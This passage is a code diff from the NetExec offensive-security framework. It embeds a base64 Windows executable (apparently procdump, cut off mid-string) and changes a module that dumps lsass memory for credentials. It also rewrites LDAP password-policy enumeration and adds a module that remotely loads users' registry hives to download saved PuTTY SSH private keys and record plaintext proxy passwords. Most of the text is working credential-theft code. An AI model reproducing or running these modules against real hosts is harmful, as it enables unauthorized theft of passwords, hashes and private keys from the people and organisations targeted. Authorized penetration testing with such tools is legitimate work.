             "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 truncated
         )
         self.procdump = "procdump.exe"
-        self.procdump_path = "/tmp/"
+        self.procdump_path = abspath(TMP_PATH)
         self.dir_result = self.procdump_path
         self.useembeded = True
 
@@ -89,10 +91,10 @@ class NXCModule:
 
             context.log.display(f"Copy {machine_name} to host")
 
-            with open(self.dir_result + machine_name, "wb+") as dump_file:
+            with open(abspath(join(self.dir_result, machine_name)), "wb+") as dump_file:
                 try:
                     connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write)
-                    context.log.success(f"Dumpfile of lsass.exe was transferred to {self.dir_result + machine_name}")
+                    context.log.success(f"Dumpfile of lsass.exe was transferred to {abspath(join(self.dir_result, machine_name))}")
                 except Exception as e:
                     context.log.fail(f"Error while get file: {e}")
 
@@ -108,7 +110,7 @@ class NXCModule:
             except Exception as e:
                 context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
 
-            with open(self.dir_result + machine_name, "rb") as dump:
+            with open(abspath(join(self.dir_result, machine_name)), "rb") as dump:
                 try:
                     credz_bh = []
                     try:

nxc/modules/pso.py

@@ -1,92 +1,111 @@
+from dateutil.relativedelta import relativedelta as rd
 from impacket.ldap import ldapasn1 as ldapasn1_impacket
-from impacket.ldap import ldap as ldap_impacket
-from math import fabs
 
 
 class NXCModule:
     """
-    Created by fplazar and wanetty
-    Module by @gm_eduard and @ferranplaza
-    Based on: https://github.com/juliourena/CrackMapExec/blob/master/cme/modules/get_description.py
-    """
+    Initial FGPP/PSO script written by @n00py: https://github.com/n00py/GetFGPP
 
+    Module by @_sandw1ch
+    """
     name = "pso"
-    description = "Query to get PSO from LDAP"
+    description = "Module to get the Fine Grained Password Policy/PSOs"
     supported_protocols = ["ldap"]
     opsec_safe = True
-    multiple_hosts = True
+    multiple_hosts = False
 
-    pso_fields = [
-        "cn",
-        "msDS-PasswordReversibleEncryptionEnabled",
-        "msDS-PasswordSettingsPrecedence",
-        "msDS-MinimumPasswordLength",
-        "msDS-PasswordHistoryLength",
-        "msDS-PasswordComplexityEnabled",
-        "msDS-LockoutObservationWindow",
-        "msDS-LockoutDuration",
-        "msDS-LockoutThreshold",
-        "msDS-MinimumPasswordAge",
-        "msDS-MaximumPasswordAge",
-        "msDS-PSOAppliesTo",
-    ]
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
 
     def options(self, context, module_options):
         """No options available."""
 
-    def convert_time_field(self, field, value):
-        time_fields = {"msDS-LockoutObservationWindow": (60, "mins"), "msDS-MinimumPasswordAge": (86400, "days"), "msDS-MaximumPasswordAge": (86400, "days"), "msDS-LockoutDuration": (60, "mins")}
-
-        if field in time_fields:
-            value = f"{int(fabs(float(value)) / (10000000 * time_fields[field][0]))} {time_fields[field][1]}"
-
-        return value
-
     def on_login(self, context, connection):
-        """Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
-        # Building the search filter
-        search_filter = "(objectClass=msDS-PasswordSettings)"
+        # Are there even any FGPPs?
+        context.log.success("Attempting to enumerate policies...")
+        resp = connection.ldapConnection.search(searchBase=f"CN=Password Settings Container,CN=System,{''.join([f'DC={dc},' for dc in connection.domain.split('.')]).rstrip(',')}", searchFilter="(objectclass=*)")
+        if len(resp) > 1:
+            context.log.highlight(f"{len(resp) - 1} PSO Objects found!")
+            context.log.highlight("")
+            context.log.success("Attempting to enumerate objects with an applied policy...")
 
-        try:
-            context.log.debug(f"Search Filter={search_filter}")
-            resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=self.pso_fields, sizeLimit=0)
-        except ldap_impacket.LDAPSearchError as e:
-            if e.getErrorString().find("sizeLimitExceeded") >= 0:
-                context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
-                # We reached the sizeLimit, process the answers we have already and that's it. Until we implement
-                # paged queries
-                resp = e.getAnswers()
-            else:
-                context.log.debug(e)
-                return False
-
-        pso_list = []
-
-        context.log.debug(f"Total of records returned {len(resp)}")
-        for item in resp:
-            if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
+        # Who do they apply to?
+        resp = connection.search(searchFilter="(objectclass=*)", attributes=["DistinguishedName", "msDS-PSOApplied"])
+        for attrs in resp:
+            if isinstance(attrs, ldapasn1_impacket.SearchResultEntry) is not True:
                 continue
+            for attr in attrs["attributes"]:
+                if str(attr["type"]) in "msDS-PSOApplied":
+                    context.log.highlight(f"Object: {attrs['objectName']}")
+                    context.log.highlight("Applied Policy: ")
+                    for value in attr["vals"]:
+                        context.log.highlight(f"\t{value}")
+                    context.log.highlight("")
 
-            pso_info = {}
+        # Let"s find out even more details!
+        context.log.success("Attempting to enumerate details...\n")
+        resp = connection.search(searchFilter="(objectclass=msDS-PasswordSettings)",
+                                 attributes=["name", "msds-lockoutthreshold", "msds-psoappliesto", "msds-minimumpasswordlength",
+                                             "msds-passwordhistorylength", "msds-lockoutobservationwindow", "msds-lockoutduration",
+                                             "msds-passwordsettingsprecedence", "msds-passwordcomplexityenabled", "Description",
+                                             "msds-passwordreversibleencryptionenabled", "msds-minimumpasswordage", "msds-maximumpasswordage"])
+        for attrs in resp:
+            if not isinstance(attrs, ldapasn1_impacket.SearchResultEntry):
+                continue
+            policyName, description, passwordLength, passwordhistorylength, lockoutThreshold, obersationWindow, lockoutDuration, complexity, minPassAge, maxPassAge, reverseibleEncryption, precedence, policyApplies = ("",) * 13
+            for attr in attrs["attributes"]:
+                if str(attr["type"]) == "name":
+                    policyName = attr["vals"][0]
+                elif str(attr["type"]) == "msDS-LockoutThreshold":
+                    lockoutThreshold = attr["vals"][0]
+                elif str(attr["type"]) == "msDS-MinimumPasswordLength":
+                    passwordLength = attr["vals"][0]
+                elif str(attr["type"]) == "msDS-PasswordHistoryLength":
+                    passwordhistorylength = attr["vals"][0]
+                elif str(attr["type"]) == "msDS-LockoutObservationWindow":
+                    observationWindow = attr["vals"][0]
+                elif str(attr["type"]) == "msDS-LockoutDuration":
+                    lockoutDuration = attr["vals"][0]
+                elif str(attr["type"]) == "msDS-PasswordSettingsPrecedence":
+                    precedence = attr["vals"][0]
+                elif str(attr["type"]) == "msDS-PasswordComplexityEnabled":
+                    complexity = attr["vals"][0]
+                elif str(attr["type"]) == "msDS-PasswordReversibleEncryptionEnabled":
+                    reverseibleEncryption = attr["vals"][0]
+                elif str(attr["type"]) == "msDS-MinimumPasswordAge":
+                    minPassAge = attr["vals"][0]
+                elif str(attr["type"]) == "msDS-MaximumPasswordAge":
+                    maxPassAge = attr["vals"][0]
+                elif str(attr["type"]) == "description":
+                    description = attr["vals"][0]
+                elif str(attr["type"]) == "msDS-PSOAppliesTo":
+                    policyApplies = ""
+                    for value in attr["vals"]:
+                        policyApplies += f"{value};"
+            context.log.highlight(f"Policy Name: {policyName}")
+            if description:
+                context.log.highlight(f"Description: {description}")
+            context.log.highlight(f"Minimum Password Length: {passwordLength}")
+            context.log.highlight(f"Minimum Password History Length: {passwordhistorylength}")
+            context.log.highlight(f"Lockout Threshold: {lockoutThreshold}")
+            context.log.highlight(f"Observation Window: {mins(observationWindow)}")
+            context.log.highlight(f"Lockout Duration: {mins(lockoutDuration)}")
+            context.log.highlight(f"Complexity Enabled: {complexity}")
+            context.log.highlight(f"Minimum Password Age: {days(minPassAge)}")
+            context.log.highlight(f"Maximum Password Age: {days(maxPassAge)}")
+            context.log.highlight(f"Reversible Encryption: {reverseibleEncryption}")
+            context.log.highlight(f"Precedence: {precedence} (Lower is Higher Priority)")
+            context.log.highlight("Policy Applies to:")
+            for value in str(policyApplies)[:-1].split(";"):
+                if value:
+                    context.log.highlight(f"\t{value}")
+            context.log.highlight("")
 
-            try:
-                for attribute in item["attributes"]:
-                    attr_name = str(attribute["type"])
-                    if attr_name in self.pso_fields:
-                        pso_info[attr_name] = attribute["vals"][0]._value.decode("utf-8")
 
-                pso_list.append(pso_info)
+def days(ldap_time):
+    return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).days} days"
 
-            except Exception as e:
-                context.log.debug("Exception:", exc_info=True)
-                context.log.debug(f"Skipping item, cannot process due to error {e}")
-        if len(pso_list) > 0:
-            context.log.success("Password Settings Objects (PSO) found:")
-            for pso in pso_list:
-                for field in self.pso_fields:
-                    if field in pso:
-                        value = self.convert_time_field(field, pso[field])
-                        context.log.highlight(f"{field}: {value}")
-                context.log.highlight("-----")
-        else:
-            context.log.info("No Password Settings Objects (PSO) found.")
+
+def mins(ldap_time):
+    return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).minutes} minutes"

nxc/modules/putty.py

@@ -0,0 +1,221 @@
+from datetime import datetime
+from io import BytesIO
+import traceback
+from urllib.parse import unquote
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.dcerpc.v5 import rrp
+from impacket.examples.secretsdump import RemoteOperations
+from os import makedirs
+from nxc.helpers.logger import highlight
+from nxc.paths import NXC_PATH
+import re
+
+
+class NXCModule:
+    """Module by @NeffIsBack"""
+
+    name = "putty"
+    description = "Query the registry for users who saved ssh private keys in PuTTY. Download the private keys if found."
+    supported_protocols = ["smb"]
+    opsec_safe = True
+    multiple_hosts = True
+
+    def __init__(self):
+        self.context = None
+        self.module_options = None
+        self.rrp = None
+
+    def options(self, context, module_options):
+        """No options available"""
+
+    def get_logged_on_users(self):
+        """Enumerate all logged in and loaded Users on System"""
+        reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
+        key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
+        users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
+
+        # Get User Names
+        user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
+        rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
+
+        # Filter legit users in regex
+        user_objects.remove(".DEFAULT")
+        regex = re.compile(r"^.*_Classes$")
+        return [i for i in user_objects if not regex.match(i)]
+
+    def get_all_users(self):
+        """Get all users that have logged in at some point in time"""
+        reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
+        key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")["phkResult"]
+        users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
+
+        # Get User Names
+        user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
+        rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
+        return user_objects
+
+    def sid_to_name(self, all_users):
+        """Convert SID to Usernames for better readability"""
+        reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
+
+        user_dict = {}
+        for user_object in all_users:
+            key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
+            user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
+            rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
+            user_dict[user_object] = user_profile_path.split("\\")[-1]
+        return user_dict
+
+    def load_missing_users(self, unloaded_user_objects):
+        """Load missing users into registry to access their registry keys."""
+        for user_object in unloaded_user_objects:
+            # Extract profile Path of NTUSER.DAT
+            reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
+            key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
+            user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
+            rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
+
+            # Load Profile
+            reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
+            key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
+
+            self.context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
+            rrp.hBaseRegLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
+            rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
+
+    def unload_missing_users(self, unloaded_user_objects):
+        """If some user were not logged in at the beginning we unload them from registry."""
+        reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
+        key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
+
+        for user_object in unloaded_user_objects:
+            self.context.log.debug(f"UNLOAD USER FROM REGISTRY: {user_object}")
+            try:
+                rrp.hBaseRegUnLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object)
+            except Exception as e:
+                self.context.log.fail(f"Error unloading user {user_object} in registry: {e}")
+                self.context.log.debug(traceback.format_exc())
+        rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
+
+    def get_private_key_paths(self, all_users):
+        """Get all private key paths for all users"""
+        sessions = []
+        reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
+
+        for user in all_users:
+            try:
+                key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions")["phkResult"]
+                reg_sessions = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
+                self.context.log.info(f'Found {reg_sessions} sessions for user "{self.user_dict[user]}" in registry!')
+
+                # Get Session Names
+                session_names = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(reg_sessions)]
+                rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
+
+                # Extract stored Session infos
+                for session_name in session_names:
+                    key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions\\{session_name}")["phkResult"]
+
+                    # Get private Key Path
+                    private_key_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PublicKeyFile")[1].split("\x00")[:-1][0]
+                    proxy_host = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyHost")[1].split("\x00")[:-1][0]
+                    proxy_port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPort")[1]
+                    proxy_username = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyUsername")[1].split("\x00")[:-1][0]
+                    proxy_password = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPassword")[1].split("\x00")[:-1][0]
+
+                    # Session infos
+                    hostname = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0]
+                    port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PortNumber")[1]
+                    protocol = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "Protocol")[1].split("\x00")[:-1][0]
+                    sessions.append({
+                        "user": self.user_dict[user],
+                        "session_name": unquote(session_name),
+                        "hostname": hostname,
+                        "port": port,
+                        "protocol": protocol,
+                        "private_key_path": private_key_path,
+                        "proxy_host": proxy_host,
+                        "proxy_port": proxy_port,
+                        "proxy_username": proxy_username,
+                        "proxy_password": proxy_password
+                    })
+                    rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
+
+            except DCERPCException as e:
+                if str(e).find("ERROR_FILE_NOT_FOUND"):
+                    self.context.log.debug(f"No PuTTY session config found in registry for user {self.user_dict[user]}")
+            except Exception as e:
+                self.context.log.fail(f"Unexpected error: {e}")
+                self.context.log.debug(traceback.format_exc())
+        return sessions
+
+    def extract_session(self, sessions):
+        proxycreds_file = f"{NXC_PATH}/modules/PuTTY/putty_proxycreds_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
+        for session in sessions:
+            if session["private_key_path"]:
+                makedirs(f"{NXC_PATH}/modules/PuTTY", exist_ok=True)
+                share = session["private_key_path"].split(":")[0] + "$"
+                file_path = session["private_key_path"].split(":")[1]
+                download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec".replace(":", "-")
+
+                buf = BytesIO()
+                with open(download_path, "wb") as file:
+                    try:
+                        self.connection.conn.getFile(share, file_path, buf.write)
+                    except Exception as e:
+                        if str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") != -1:
+                            self.context.log.fail(f"Private key path found but file not found: {share + file_path}")
+                        else:
+                            self.context.log.exception(f"Error downloading private key: {e}")
+                        continue
+                    file.write(buf.getvalue())
+                self.context.log.success(f"Private key found for user \"{session['user']}\", saved to {highlight(download_path)}")
+                self.context.log.highlight(f"Sessionname: {session['session_name']}")
+                self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
+                self.context.log.highlight(f"Protocol: {session['protocol']}")
+            if session["proxy_password"]:
+                self.context.log.success(f"Found proxy credentials for user \"{session['user']}\"")
+                self.context.log.highlight(f"Sessionname: {session['session_name']}")
+                self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
+                self.context.log.highlight(f"Protocol: {session['protocol']}")
+                self.context.log.highlight(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}")
+                self.context.log.highlight(f"Proxy Username: {session['proxy_username']}")
+                self.context.log.highlight(f"Proxy Password: {session['proxy_password']}")
+                with open(proxycreds_file, "a") as f:
+                    f.write("================\n")
+                    f.write(f"User: {session['user']}\n")
+                    f.write(f"Sessionname: {session['session_name']}\n")
+                    f.write(f"Host: {session['hostname']}:{session['port']}\n")
+                    f.write(f"Protocol: {session['protocol']}\n")
+                    f.write(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}\n")
+                    f.write(f"Proxy Username: {session['proxy_username']}\n")
+                    f.write(f"Proxy Password: {session['proxy_password']}\n")
+                self.context.log.display(f"Proxy credentials saved to {highlight(proxycreds_file)}")
+
+    def on_admin_login(self, context, connection):
+        self.connection = connection
+        self.context = context
+
+        try:
+            self.rrp = RemoteOperations(connection.conn, connection.kerberos)
+            self.rrp.enableRegistry()
+
+            all_users = self.get_all_users()
+            loaded_user_objects = self.get_logged_on_users()
+            self.user_dict = self.sid_to_name(all_users)
+
+            # Users which must be loaded into registry:
+            unloaded_user_objects = list(set(all_users).symmetric_difference(set(loaded_user_objects)))
+            self.load_missing_users(unloaded_user_objects)
+
+            sessions = self.get_private_key_paths(all_users)
+            if sessions:
+                self.extract_session(sessions)
+            else:
+                self.context.log.info("No saved putty sessions found in registry")
+
+            self.unload_missing_users(unloaded_user_objects)
+        except Exception as e:
+            context.log.exception(f"Error: {e}")
+        finally:
+            self.rrp.finish()

nxc/modules/rdcman.py

@@ -103,6 +103,7 @@ class NXCModule:
                     pvkbytes=self.pvkbytes,
                     passwords=plaintexts,
                     nthashes=nthashes,
+                    dpapiSystem={},
                 )
                 self.masterkeys = masterkeys_triage.triage_masterkeys()
             except Exception as e:

nxc/modules/rdp.py

@@ -83,7 +83,7 @@ class NXCModule:
 
             wmi_rdp = RdpWmi(context, connection, self.dcom_timeout)
 
-            if hasattr(wmi_rdp, "_rdp_WMI__iWbemLevel1Login"):
+            if hasattr(wmi_rdp, "_RdpWmi__iWbemLevel1Login"):
                 if "ram" in self.action:
                     # Nt version under 6 not support RAM.
                     try:
@@ -101,7 +101,7 @@ class NXCModule:
                             context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.")
                         else:
                             context.log.fail(str(e))
